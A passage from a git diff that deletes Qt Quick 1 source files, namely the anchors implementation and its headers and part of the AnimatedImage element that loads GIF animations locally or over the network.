Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~BaselineAnchor; - d->remDepend(d->baseline.item); - d->baseline = QDeclarative1AnchorLine(); - emit baselineChanged(); - d->updateVerticalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::left() const -{ - Q_D(const QDeclarative1Anchors); - return d->left; -} - -void QDeclarative1Anchors::setLeft(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkHAnchorValid(edge) || d->left == edge) - return; - - d->usedAnchors |= LeftAnchor; - - if (!d->checkHValid()) { - d->usedAnchors &= ~LeftAnchor; - return; - } - - d->remDepend(d->left.item); - d->left = edge; - d->addDepend(d->left.item); - emit leftChanged(); - d->updateHorizontalAnchors(); -} - -void QDeclarative1Anchors::resetLeft() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~LeftAnchor; - d->remDepend(d->left.item); - d->left = QDeclarative1AnchorLine(); - emit leftChanged(); - d->updateHorizontalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::right() const -{ - Q_D(const QDeclarative1Anchors); - return d->right; -} - -void QDeclarative1Anchors::setRight(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkHAnchorValid(edge) || d->right == edge) - return; - - d->usedAnchors |= RightAnchor; - - if (!d->checkHValid()) { - d->usedAnchors &= ~RightAnchor; - return; - } - - d->remDepend(d->right.item); - d->right = edge; - d->addDepend(d->right.item); - emit rightChanged(); - d->updateHorizontalAnchors(); -} - -void QDeclarative1Anchors::resetRight() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~RightAnchor; - d->remDepend(d->right.item); - d->right = QDeclarative1AnchorLine(); - emit rightChanged(); - d->updateHorizontalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::horizontalCenter() const -{ - Q_D(const QDeclarative1Anchors); - return d->hCenter; -} - -void QDeclarative1Anchors::setHorizontalCenter(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkHAnchorValid(edge) || d->hCenter == edge) - return; - - d->usedAnchors |= HCenterAnchor; - - if (!d->checkHValid()) { - d->usedAnchors &= ~HCenterAnchor; - return; - } - - d->remDepend(d->hCenter.item); - d->hCenter = edge; - d->addDepend(d->hCenter.item); - emit horizontalCenterChanged(); - d->updateHorizontalAnchors(); -} - -void QDeclarative1Anchors::resetHorizontalCenter() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~HCenterAnchor; - d->remDepend(d->hCenter.item); - d->hCenter = QDeclarative1AnchorLine(); - emit horizontalCenterChanged(); - d->updateHorizontalAnchors(); -} - -qreal QDeclarative1Anchors::leftMargin() const -{ - Q_D(const QDeclarative1Anchors); - return d->leftMargin; -} - -void QDeclarative1Anchors::setLeftMargin(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->leftMargin == offset) - return; - d->leftMargin = offset; - if(d->fill) - d->fillChanged(); - else - d->updateHorizontalAnchors(); - emit leftMarginChanged(); -} - -qreal QDeclarative1Anchors::rightMargin() const -{ - Q_D(const QDeclarative1Anchors); - return d->rightMargin; -} - -void QDeclarative1Anchors::setRightMargin(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->rightMargin == offset) - return; - d->rightMargin = offset; - if(d->fill) - d->fillChanged(); - else - d->updateHorizontalAnchors(); - emit rightMarginChanged(); -} - -qreal QDeclarative1Anchors::margins() const -{ - Q_D(const QDeclarative1Anchors); - return d->margins; -} - -void QDeclarative1Anchors::setMargins(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->margins == offset) - return; - //###Is it significantly faster to set them directly so we can call fillChanged only once? - if(!d->rightMargin || d->rightMargin == d->margins) - setRightMargin(offset); - if(!d->leftMargin || d->leftMargin == d->margins) - setLeftMargin(offset); - if(!d->topMargin || d->topMargin == d->margins) - setTopMargin(offset); - if(!d->bottomMargin || d->bottomMargin == d->margins) - setBottomMargin(offset); - d->margins = offset; - emit marginsChanged(); - -} - -qreal QDeclarative1Anchors::horizontalCenterOffset() const -{ - Q_D(const QDeclarative1Anchors); - return d->hCenterOffset; -} - -void QDeclarative1Anchors::setHorizontalCenterOffset(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->hCenterOffset == offset) - return; - d->hCenterOffset = offset; - if(d->centerIn) - d->centerInChanged(); - else - d->updateHorizontalAnchors(); - emit horizontalCenterOffsetChanged(); -} - -qreal QDeclarative1Anchors::topMargin() const -{ - Q_D(const QDeclarative1Anchors); - return d->topMargin; -} - -void QDeclarative1Anchors::setTopMargin(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->topMargin == offset) - return; - d->topMargin = offset; - if(d->fill) - d->fillChanged(); - else - d->updateVerticalAnchors(); - emit topMarginChanged(); -} - -qreal QDeclarative1Anchors::bottomMargin() const -{ - Q_D(const QDeclarative1Anchors); - return d->bottomMargin; -} - -void QDeclarative1Anchors::setBottomMargin(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->bottomMargin == offset) - return; - d->bottomMargin = offset; - if(d->fill) - d->fillChanged(); - else - d->updateVerticalAnchors(); - emit bottomMarginChanged(); -} - -qreal QDeclarative1Anchors::verticalCenterOffset() const -{ - Q_D(const QDeclarative1Anchors); - return d->vCenterOffset; -} - -void QDeclarative1Anchors::setVerticalCenterOffset(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->vCenterOffset == offset) - return; - d->vCenterOffset = offset; - if(d->centerIn) - d->centerInChanged(); - else - d->updateVerticalAnchors(); - emit verticalCenterOffsetChanged(); -} - -qreal QDeclarative1Anchors::baselineOffset() const -{ - Q_D(const QDeclarative1Anchors); - return d->baselineOffset; -} - -void QDeclarative1Anchors::setBaselineOffset(qreal offset) -{ - Q_D(QDeclarative1Anchors); - if (d->baselineOffset == offset) - return; - d->baselineOffset = offset; - d->updateVerticalAnchors(); - emit baselineOffsetChanged(); -} - -QDeclarative1Anchors::Anchors QDeclarative1Anchors::usedAnchors() const -{ - Q_D(const QDeclarative1Anchors); - return d->usedAnchors; -} - -bool QDeclarative1AnchorsPrivate::checkHValid() const -{ - if (usedAnchors & QDeclarative1Anchors::LeftAnchor && - usedAnchors & QDeclarative1Anchors::RightAnchor && - usedAnchors & QDeclarative1Anchors::HCenterAnchor) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot specify left, right, and hcenter anchors."); - return false; - } - - return true; -} - -bool QDeclarative1AnchorsPrivate::checkHAnchorValid(QDeclarative1AnchorLine anchor) const -{ - if (!anchor.item) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor to a null item."); - return false; - } else if (anchor.anchorLine & QDeclarative1AnchorLine::Vertical_Mask) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor a horizontal edge to a vertical edge."); - return false; - } else if (anchor.item != item->parentItem() && anchor.item->parentItem() != item->parentItem()){ - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor to an item that isn't a parent or sibling."); - return false; - } else if (anchor.item == item) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor item to self."); - return false; - } - - return true; -} - -bool QDeclarative1AnchorsPrivate::checkVValid() const -{ - if (usedAnchors & QDeclarative1Anchors::TopAnchor && - usedAnchors & QDeclarative1Anchors::BottomAnchor && - usedAnchors & QDeclarative1Anchors::VCenterAnchor) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot specify top, bottom, and vcenter anchors."); - return false; - } else if (usedAnchors & QDeclarative1Anchors::BaselineAnchor && - (usedAnchors & QDeclarative1Anchors::TopAnchor || - usedAnchors & QDeclarative1Anchors::BottomAnchor || - usedAnchors & QDeclarative1Anchors::VCenterAnchor)) { - qmlInfo(item) << QDeclarative1Anchors::tr("Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors."); - return false; - } - - return true; -} - -bool QDeclarative1AnchorsPrivate::checkVAnchorValid(QDeclarative1AnchorLine anchor) const -{ - if (!anchor.item) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor to a null item."); - return false; - } else if (anchor.anchorLine & QDeclarative1AnchorLine::Horizontal_Mask) { - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor a vertical edge to a horizontal edge."); - return false; - } else if (anchor.item != item->parentItem() && anchor.item->parentItem() != item->parentItem()){ - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor to an item that isn't a parent or sibling."); - return false; - } else if (anchor.item == item){ - qmlInfo(item) << QDeclarative1Anchors::tr("Cannot anchor item to self."); - return false; - } - - return true; -} - - - -QT_END_NAMESPACE - -#include - diff --git a/src/qtquick1/graphicsitems/qdeclarativeanchors_p.h b/src/qtquick1/graphicsitems/qdeclarativeanchors_p.h deleted file mode 100644 index 4218fd2a67..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanchors_p.h +++ /dev/null @@ -1,205 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANCHORS_H -#define QDECLARATIVEANCHORS_H - -#include "qdeclarativeitem.h" - -#include - -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1AnchorsPrivate; -class QDeclarative1AnchorLine; -class Q_QTQUICK1_EXPORT QDeclarative1Anchors : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QDeclarative1AnchorLine left READ left WRITE setLeft RESET resetLeft NOTIFY leftChanged) - Q_PROPERTY(QDeclarative1AnchorLine right READ right WRITE setRight RESET resetRight NOTIFY rightChanged) - Q_PROPERTY(QDeclarative1AnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter NOTIFY horizontalCenterChanged) - Q_PROPERTY(QDeclarative1AnchorLine top READ top WRITE setTop RESET resetTop NOTIFY topChanged) - Q_PROPERTY(QDeclarative1AnchorLine bottom READ bottom WRITE setBottom RESET resetBottom NOTIFY bottomChanged) - Q_PROPERTY(QDeclarative1AnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter NOTIFY verticalCenterChanged) - Q_PROPERTY(QDeclarative1AnchorLine baseline READ baseline WRITE setBaseline RESET resetBaseline NOTIFY baselineChanged) - Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged) - Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged) - Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged) - Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged) - Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged) - Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged) - Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged) - Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged) - Q_PROPERTY(QGraphicsObject *fill READ fill WRITE setFill RESET resetFill NOTIFY fillChanged) - Q_PROPERTY(QGraphicsObject *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn NOTIFY centerInChanged) - Q_PROPERTY(bool mirrored READ mirrored NOTIFY mirroredChanged REVISION 1) - -public: - QDeclarative1Anchors(QObject *parent=0); - QDeclarative1Anchors(QGraphicsObject *item, QObject *parent=0); - virtual ~QDeclarative1Anchors(); - - enum Anchor { - LeftAnchor = 0x01, - RightAnchor = 0x02, - TopAnchor = 0x04, - BottomAnchor = 0x08, - HCenterAnchor = 0x10, - VCenterAnchor = 0x20, - BaselineAnchor = 0x40, - Horizontal_Mask = LeftAnchor | RightAnchor | HCenterAnchor, - Vertical_Mask = TopAnchor | BottomAnchor | VCenterAnchor | BaselineAnchor - }; - Q_DECLARE_FLAGS(Anchors, Anchor) - - QDeclarative1AnchorLine left() const; - void setLeft(const QDeclarative1AnchorLine &edge); - void resetLeft(); - - QDeclarative1AnchorLine right() const; - void setRight(const QDeclarative1AnchorLine &edge); - void resetRight(); - - QDeclarative1AnchorLine horizontalCenter() const; - void setHorizontalCenter(const QDeclarative1AnchorLine &edge); - void resetHorizontalCenter(); - - QDeclarative1AnchorLine top() const; - void setTop(const QDeclarative1AnchorLine &edge); - void resetTop(); - - QDeclarative1AnchorLine bottom() const; - void setBottom(const QDeclarative1AnchorLine &edge); - void resetBottom(); - - QDeclarative1AnchorLine verticalCenter() const; - void setVerticalCenter(const QDeclarative1AnchorLine &edge); - void resetVerticalCenter(); - - QDeclarative1AnchorLine baseline() const; - void setBaseline(const QDeclarative1AnchorLine &edge); - void resetBaseline(); - - qreal leftMargin() const; - void setLeftMargin(qreal); - - qreal rightMargin() const; - void setRightMargin(qreal); - - qreal horizontalCenterOffset() const; - void setHorizontalCenterOffset(qreal); - - qreal topMargin() const; - void setTopMargin(qreal); - - qreal bottomMargin() const; - void setBottomMargin(qreal); - - qreal margins() const; - void setMargins(qreal); - - qreal verticalCenterOffset() const; - void setVerticalCenterOffset(qreal); - - qreal baselineOffset() const; - void setBaselineOffset(qreal); - - QGraphicsObject *fill() const; - void setFill(QGraphicsObject *); - void resetFill(); - - QGraphicsObject *centerIn() const; - void setCenterIn(QGraphicsObject *); - void resetCenterIn(); - - Anchors usedAnchors() const; - - void classBegin(); - void componentComplete(); - - bool mirrored(); - -Q_SIGNALS: - void leftChanged(); - void rightChanged(); - void topChanged(); - void bottomChanged(); - void verticalCenterChanged(); - void horizontalCenterChanged(); - void baselineChanged(); - void fillChanged(); - void centerInChanged(); - void leftMarginChanged(); - void rightMarginChanged(); - void topMarginChanged(); - void bottomMarginChanged(); - void marginsChanged(); - void verticalCenterOffsetChanged(); - void horizontalCenterOffsetChanged(); - void baselineOffsetChanged(); - Q_REVISION(1) void mirroredChanged(); - -private: - friend class QDeclarativeItem; - friend class QDeclarativeItemPrivate; - friend class QDeclarative1GraphicsWidget; - Q_DISABLE_COPY(QDeclarative1Anchors) - Q_DECLARE_PRIVATE(QDeclarative1Anchors) - Q_PRIVATE_SLOT(d_func(), void _q_widgetGeometryChanged()) - Q_PRIVATE_SLOT(d_func(), void _q_widgetDestroyed(QObject *obj)) -}; -Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarative1Anchors::Anchors) - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Anchors) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeanchors_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeanchors_p_p.h deleted file mode 100644 index a7d769d917..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanchors_p_p.h +++ /dev/null @@ -1,171 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEANCHORS_P_H -#define QDECLARATIVEANCHORS_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/private/qdeclarativeanchors_p.h" -#include "QtQuick1/private/qdeclarativeitemchangelistener_p.h" -#include - -QT_BEGIN_NAMESPACE - -// NOTE: if you change this then also update the copy in qdeclarativev4compiler_p_p.h -class QDeclarative1AnchorLine -{ -public: - QDeclarative1AnchorLine() : item(0), anchorLine(Invalid) {} - - enum AnchorLine { - Invalid = 0x0, - Left = 0x01, - Right = 0x02, - Top = 0x04, - Bottom = 0x08, - HCenter = 0x10, - VCenter = 0x20, - Baseline = 0x40, - Horizontal_Mask = Left | Right | HCenter, - Vertical_Mask = Top | Bottom | VCenter | Baseline - }; - - QGraphicsObject *item; - AnchorLine anchorLine; -}; - -inline bool operator==(const QDeclarative1AnchorLine& a, const QDeclarative1AnchorLine& b) -{ - return a.item == b.item && a.anchorLine == b.anchorLine; -} - -class QDeclarative1AnchorsPrivate : public QObjectPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarative1Anchors) -public: - QDeclarative1AnchorsPrivate(QGraphicsObject *i) - : componentComplete(true), updatingMe(false), updatingHorizontalAnchor(0), - updatingVerticalAnchor(0), updatingFill(0), updatingCenterIn(0), item(i), usedAnchors(0), fill(0), - centerIn(0), leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0), - margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0) - { - } - - void clearItem(QGraphicsObject *); - - void addDepend(QGraphicsObject *); - void remDepend(QGraphicsObject *); - bool isItemComplete() const; - - bool componentComplete:1; - bool updatingMe:1; - uint updatingHorizontalAnchor:2; - uint updatingVerticalAnchor:2; - uint updatingFill:2; - uint updatingCenterIn:2; - - void setItemHeight(qreal); - void setItemWidth(qreal); - void setItemX(qreal); - void setItemY(qreal); - void setItemPos(const QPointF &); - void setItemSize(const QSizeF &); - - void updateOnComplete(); - void updateMe(); - - // QDeclarativeItemGeometryListener interface - void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &); - void _q_widgetDestroyed(QObject *); - void _q_widgetGeometryChanged(); - QDeclarative1AnchorsPrivate *anchorPrivate() { return this; } - - bool checkHValid() const; - bool checkVValid() const; - bool checkHAnchorValid(QDeclarative1AnchorLine anchor) const; - bool checkVAnchorValid(QDeclarative1AnchorLine anchor) const; - bool calcStretch(const QDeclarative1AnchorLine &edge1, const QDeclarative1AnchorLine &edge2, qreal offset1, qreal offset2, QDeclarative1AnchorLine::AnchorLine line, qreal &stretch); - - bool isMirrored() const; - void updateHorizontalAnchors(); - void updateVerticalAnchors(); - void fillChanged(); - void centerInChanged(); - - QGraphicsObject *item; - QDeclarative1Anchors::Anchors usedAnchors; - - QGraphicsObject *fill; - QGraphicsObject *centerIn; - - QDeclarative1AnchorLine left; - QDeclarative1AnchorLine right; - QDeclarative1AnchorLine top; - QDeclarative1AnchorLine bottom; - QDeclarative1AnchorLine vCenter; - QDeclarative1AnchorLine hCenter; - QDeclarative1AnchorLine baseline; - - qreal leftMargin; - qreal rightMargin; - qreal topMargin; - qreal bottomMargin; - qreal margins; - qreal vCenterOffset; - qreal hCenterOffset; - qreal baselineOffset; -}; - -QT_END_NAMESPACE - -Q_DECLARE_METATYPE(QDeclarative1AnchorLine) - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp b/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp deleted file mode 100644 index 72bbf13dad..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp +++ /dev/null @@ -1,402 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeanimatedimage_p.h" -#include "QtQuick1/private/qdeclarativeanimatedimage_p_p.h" - -#ifndef QT_NO_MOVIE - -#include -#include - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass AnimatedImage QDeclarative1AnimatedImage - \inqmlmodule QtQuick 1 - \inherits Image - \since QtQuick 1.0 - \ingroup basic-visual-elements - - The AnimatedImage element extends the features of the \l Image element, providing - a way to play animations stored as images containing a series of frames, - such as those stored in GIF files. - - Information about the current frame and totla length of the animation can be - obtained using the \l currentFrame and \l frameCount properties. You can - start, pause and stop the animation by changing the values of the \l playing - and \l paused properties. - - The full list of supported formats can be determined with QMovie::supportedFormats(). - - \section1 Example Usage - - \beginfloatleft - \image animatedimageitem.gif - \endfloat - - The following QML shows how to display an animated image and obtain information - about its state, such as the current frame and total number of frames. - The result is an animated image with a simple progress indicator underneath it. - - \bold Note: Unlike images, animated images are not cached or shared internally. - - \clearfloat - \snippet doc/src/snippets/qtquick1/animatedimage.qml document - - \sa BorderImage, Image -*/ - -/*! - \qmlproperty url QtQuick1::AnimatedImage::source - - This property holds the URL that refers to the source image. - - AnimatedImage can handle any image format supported by Qt, loaded from any - URL scheme supported by Qt. - - \sa QDeclarativeImageProvider -*/ - -/*! - \qmlproperty bool QtQuick1::AnimatedImage::asynchronous - - Specifies that images on the local filesystem should be loaded - asynchronously in a separate thread. The default value is - false, causing the user interface thread to block while the - image is loaded. Setting \a asynchronous to true is useful where - maintaining a responsive user interface is more desirable - than having images immediately visible. - - Note that this property is only valid for images read from the - local filesystem. Images loaded via a network resource (e.g. HTTP) - are always loaded asynchonously. -*/ - -/*! - \qmlproperty bool QtQuick1::AnimatedImage::mirror - \since Quick 1.1 - - This property holds whether the image should be horizontally inverted - (effectively displaying a mirrored image). - - The default value is false. -*/ - -QDeclarative1AnimatedImage::QDeclarative1AnimatedImage(QDeclarativeItem *parent) - : QDeclarative1Image(*(new QDeclarative1AnimatedImagePrivate), parent) -{ -} - -QDeclarative1AnimatedImage::~QDeclarative1AnimatedImage() -{ - Q_D(QDeclarative1AnimatedImage); - delete d->_movie; -} - -/*! - \qmlproperty bool QtQuick1::AnimatedImage::paused - This property holds whether the animated image is paused. - - By default, this property is false. Set it to true when you want to pause - the animation. -*/ -bool QDeclarative1AnimatedImage::isPaused() const -{ - Q_D(const QDeclarative1AnimatedImage); - if(!d->_movie) - return false; - return d->_movie->state()==QMovie::Paused; -} - -void QDeclarative1AnimatedImage::setPaused(bool pause) -{ - Q_D(QDeclarative1AnimatedImage); - if(pause == d->paused) - return; - d->paused = pause; - if(!d->_movie) - return; - d->_movie->setPaused(pause); -} -/*! - \qmlproperty bool QtQuick1::AnimatedImage::playing - This property holds whether the animated image is playing. - - By default, this property is true, meaning that the animation - will start playing immediately. -*/ -bool QDeclarative1AnimatedImage::isPlaying() const -{ - Q_D(const QDeclarative1AnimatedImage); - if (!d->_movie) - return false; - return d->_movie->state()!=QMovie::NotRunning; -} - -void QDeclarative1AnimatedImage::setPlaying(bool play) -{ - Q_D(QDeclarative1AnimatedImage); - if(play == d->playing) - return; - d->playing = play; - if (!d->_movie) - return; - if (play) - d->_movie->start(); - else - d->_movie->stop(); -} - -/*! - \qmlproperty int QtQuick1::AnimatedImage::currentFrame - \qmlproperty int QtQuick1::AnimatedImage::frameCount - - currentFrame is the frame that is currently visible. By monitoring this property - for changes, you can animate other items at the same time as the image. - - frameCount is the number of frames in the animation. For some animation formats, - frameCount is unknown and has a value of zero. -*/ -int QDeclarative1AnimatedImage::currentFrame() const -{ - Q_D(const QDeclarative1AnimatedImage); - if (!d->_movie) - return d->preset_currentframe; - return d->_movie->currentFrameNumber(); -} - -void QDeclarative1AnimatedImage::setCurrentFrame(int frame) -{ - Q_D(QDeclarative1AnimatedImage); - if (!d->_movie) { - d->preset_currentframe = frame; - return; - } - d->_movie->jumpToFrame(frame); -} - -int QDeclarative1AnimatedImage::frameCount() const -{ - Q_D(const QDeclarative1AnimatedImage); - if (!d->_movie) - return 0; - return d->_movie->frameCount(); -} - -void QDeclarative1AnimatedImage::setSource(const QUrl &url) -{ - Q_D(QDeclarative1AnimatedImage); - if (url == d->url) - return; - - delete d->_movie; - d->_movie = 0; - - if (d->reply) { - d->reply->deleteLater(); - d->reply = 0; - } - - d->url = url; - emit sourceChanged(d->url); - - if (isComponentComplete()) - load(); -} - -void QDeclarative1AnimatedImage::load() -{ - Q_D(QDeclarative1AnimatedImage); - - QDeclarative1ImageBase::Status oldStatus = d->status; - qreal oldProgress = d->progress; - - if (d->url.isEmpty()) { - delete d->_movie; - d->setPixmap(QPixmap()); - d->progress = 0; - d->status = Null; - if (d->status != oldStatus) - emit statusChanged(d->status); - if (d->progress != oldProgress) - emit progressChanged(d->progress); - } else { -#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); - if (!lf.isEmpty()) { - //### should be unified with movieRequestFinished - d->_movie = new QMovie(lf); - if (!d->_movie->isValid()){ - qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString(); - delete d->_movie; - d->_movie = 0; - d->status = Error; - if (d->status != oldStatus) - emit statusChanged(d->status); - return; - } - connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), - this, SLOT(playingStatusChanged())); - connect(d->_movie, SIGNAL(frameChanged(int)), - this, SLOT(movieUpdate())); - d->_movie->setCacheMode(QMovie::CacheAll); - if(d->playing) - d->_movie->start(); - else - d->_movie->jumpToFrame(0); - if(d->paused) - d->_movie->setPaused(true); - d->setPixmap(d->_movie->currentPixmap()); - d->status = Ready; - d->progress = 1.0; - if (d->status != oldStatus) - emit statusChanged(d->status); - if (d->progress != oldProgress) - emit progressChanged(d->progress); - return; - } -#endif - d->status = Loading; - d->progress = 0; - emit statusChanged(d->status); - emit progressChanged(d->progress); - QNetworkRequest req(d->url); - req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true); - d->reply = qmlEngine(this)->networkAccessManager()->get(req); - QObject::connect(d->reply, SIGNAL(finished()), - this, SLOT(movieRequestFinished())); - QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)), - this, SLOT(requestProgress(qint64,qint64))); - } -} - -#define ANIMATEDIMAGE_MAXIMUM_REDIRECT_RECURSION 16 - -void QDeclarative1AnimatedImage::movieRequestFinished() -{ - Q_D(QDeclarative1AnimatedImage); - - d->redirectCount++; - if (d->redirectCount < ANIMATEDIMAGE_MAXIMUM_REDIRECT_RECURSION) { - QVariant redirect = d->reply->attribute(QNetworkRequest::RedirectionTargetAttribute); - if (redirect.isValid()) { - QUrl url = d->reply->url().resolved(redirect.toUrl()); - d->reply->deleteLater(); - d->reply = 0; - setSource(url); - return; - } - } - d->redirectCount=0; - - d->_movie = new QMovie(d->reply); - if (!d->_movie->isValid()){ -#ifndef QT_NO_DEBUG_STREAM - qmlInfo(this) << "Error Reading Animated Image File " << d->url; -#endif - delete d->_movie; - d->_movie = 0; - d->status = Error; - emit statusChanged(d->status); - return; - } - connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), - this, SLOT(playingStatusChanged())); - connect(d->_movie, SIGNAL(frameChanged(int)), - this, SLOT(movieUpdate())); - d->_movie->setCacheMode(QMovie::CacheAll); - if(d->playing) - d->_movie->start(); - if (d->paused || !d->playing) { - d->_movie->jumpToFrame(d->preset_currentframe); - d->preset_currentframe = 0; - } - if(d->paused) - d->_movie->setPaused(true); - 